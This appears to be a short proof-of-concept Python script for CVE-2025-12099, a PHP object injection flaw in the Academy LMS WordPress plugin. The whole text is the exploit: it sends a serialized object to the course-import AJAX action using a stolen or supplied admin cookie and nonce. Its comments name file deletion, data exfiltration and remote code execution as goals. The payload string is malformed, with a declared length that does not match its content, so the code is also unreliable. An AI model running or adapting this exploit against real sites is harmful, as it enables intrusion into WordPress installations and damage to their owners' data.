CVE-2025-12099

import requests import json # CVE-2025-12099 PoC - Academy LMS PHP Object Injection # Target: WordPress site with Academy LMS plugin <= 3.3.8 # Required: Administrator-level access target_url = "http://target-wordpress-site.com" admin_cookie = "wordpress_admin_cookie_here" # Valid admin session cookie # Construct malicious payload for PHP Object Injection # Note: A POP chain from another plugin/theme is required for full exploitation malicious_object = 'O:14:"MaliciousClass":1:{s:4:"data";s:10:";}' # Endpoint for importing courses endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'academy_import_all_courses', 'import_data': malicious_object, # Malicious serialized object 'nonce': 'your_nonce_here' # Valid AJAX nonce } headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Send the exploit request response = requests.post(endpoint, data=data, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If POP chain exists, the injected object will trigger malicious actions # Common POP chain targets: file deletion, data exfiltration, RCE

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